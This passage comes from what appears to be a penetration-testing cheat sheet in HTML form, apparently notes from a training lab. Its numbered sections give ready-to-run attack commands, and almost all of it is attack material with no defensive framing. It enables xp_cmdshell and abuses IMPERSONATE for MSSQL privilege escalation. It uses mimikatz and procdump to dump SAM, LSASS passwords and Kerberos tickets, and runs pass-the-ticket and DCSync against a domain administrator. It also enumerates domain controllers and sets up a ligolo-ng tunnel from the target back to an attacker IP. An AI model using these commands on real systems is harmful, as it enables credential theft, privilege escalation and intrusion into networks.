while($reader.Read()){Write-Host $reader[0]}; $reader.Close()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enable xp_cmdshell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;sp_configure &amp;#39;show advanced options&amp;#39;, 1; RECONFIGURE; sp_configure &amp;#39;xp_cmdshell&amp;#39;, 1; RECONFIGURE&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Execute a system command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;EXEC xp_cmdshell &amp;#39;whoami&amp;#39;&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Current user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT SYSTEM_USER&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Whether the current user is sysadmin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT IS_SRVROLEMEMBER(&amp;#39;sysadmin&amp;#39;)&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Current user&amp;#39;s database permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT permission_name FROM sys.database_permissions WHERE grantee_principal_id = DATABASE_PRINCIPAL_ID()&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Server-level permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT * FROM fn_my_permissions(NULL, &amp;#39;SERVER&amp;#39;)&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Database-level permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT * FROM fn_my_permissions(NULL, &amp;#39;DATABASE&amp;#39;)&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# SQL Server version&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT @@version&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Server name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT @@SERVERNAME&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Current database&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT DB_NAME()&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MSSQL privilege-escalation technique&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This MSSQL privilege-escalation method uses IMPERSONATE permission:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;First, check whether another user can be impersonated:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-- Query users that can be impersonated&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SELECT distinct b.name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;FROM sys.server_permissions a&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;INNER JOIN sys.server_principals b&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ON a.grantor_principal_id = b.principal_id&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WHERE a.permission_name = &amp;#39;IMPERSONATE&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = &amp;#39;IMPERSONATE&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The hrappdb-reader user can be impersonated&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Perform impersonation:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;EXECUTE AS LOGIN = &amp;#39;hrappdb-reader&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Successful impersonation grants hrappdb-reader permissions and access to the hrappdb database&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="64mimikatz"&gt;&lt;a href="#64mimikatz" class="header-anchor"&gt;&lt;/a&gt;64.mimikatz&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Mimikatz one-line execution command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;privilege::debug&amp;#34; &amp;#34;token::elevate&amp;#34; &amp;#34;lsadump::sam&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe /c &amp;#34;privilege::debug&amp;#34; /c &amp;#34;token::elevate&amp;#34; /c &amp;#34;lsadump::sam&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz &amp;#34;privilege::debug&amp;#34; &amp;#34;token::elevate&amp;#34; &amp;#34;lsadump::sam&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Extract all credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; lsadump::sam sekurlsa::msv lsadump::secrets lsadump::cache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;lsadump::sam&amp;#34; &amp;#34;privilege::debug&amp;#34; &amp;#34;sekurlsa::msv&amp;#34; &amp;#34;lsadump::secrets&amp;#34; &amp;#34;lsadump::cache&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Extract all logon credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;token::elevate&amp;#34; &amp;#34;privilege::debug&amp;#34; &amp;#34;sekurlsa::logonpasswords&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or extract domain-administrator credentials specifically&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;privilege::debug&amp;#34; &amp;#34;sekurlsa::logonpasswords /user:administrator&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Extract potentially available usernames and passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;privilege::debug&amp;#34; &amp;#34;sekurlsa::credman&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If running as administrator, try retrieving tickets from the current computer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using the sekurlsa module (from LSASS memory):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# From the running LSASS process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::tickets # View all tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::tickets /export # Export all tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;privilege::debug&amp;#34; &amp;#34;sekurlsa::tickets&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# From a dump file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::minidump lsass.dmp # Load the dump&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::tickets # View tickets in the dump&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using the kerberos module (from the current session):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopy# View tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::list # List tickets in the current session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::tgt # View the current TGT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::purge # Purge all tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Export tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::list /export # Export all tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Tickets are exported as .kirbi files by default&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Ticket operations&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::ptt ticket.kirbi # Inject a ticket (Pass the Ticket)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Domain-controller synchronization with DCSync&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::dcsync /user:DC01\web_svc&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::dcsync /user:corp\Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="65domain-admin-login-history"&gt;&lt;a href="#65domain-admin-login-history" class="header-anchor"&gt;&lt;/a&gt;65.Domain Admin Login History&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View domain-administrator logon sessions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;query user /server:localhost&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check logon history in the registry&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg query &amp;#34;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create an LSASS dump&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;procdump.exe -ma lsass.exe lsass.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;procdump.exe -accepteula -ma lsass.exe lsass.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pypykatz lsa minidump lsass.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Then analyze it with Mimikatz&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;sekurlsa::minidump lsass.dmp&amp;#34; &amp;#34;sekurlsa::logonpasswords&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="66domain-information-gathering"&gt;&lt;a href="#66domain-information-gathering" class="header-anchor"&gt;&lt;/a&gt;66.Domain Information Gathering&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View domain controllers&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nltest /dclist:medtech.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nslookup -type=SRV _ldap._tcp.medtech.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nslookup -type=SRV _gc._tcp.medtech.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="67ligolo-ng"&gt;&lt;a href="#67ligolo-ng" class="header-anchor"&gt;&lt;/a&gt;67.ligolo-ng&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/nicocha30/ligolo-ng/releases/tag/v0.7.3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Attacker machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo ip tuntap add user $(whoami) mode tun ligolo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo ip link set ligolo up&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./proxy -selfcert&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Target machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\agent.exe -connect 192.168.45.184:11601 -ignore-cert&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Configure routing&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo ip route add 10.10.174.0/24 dev ligolo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;session # Show all available sessions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;session list # List all sessions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;session &amp;lt;ID&amp;gt; # Select a specific sessionifconfig # Show network-interface configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;info # Show current-session information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;listener_list # Show all listeners&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bashCopystart # Start the selected session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;stop # Stop the current session&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 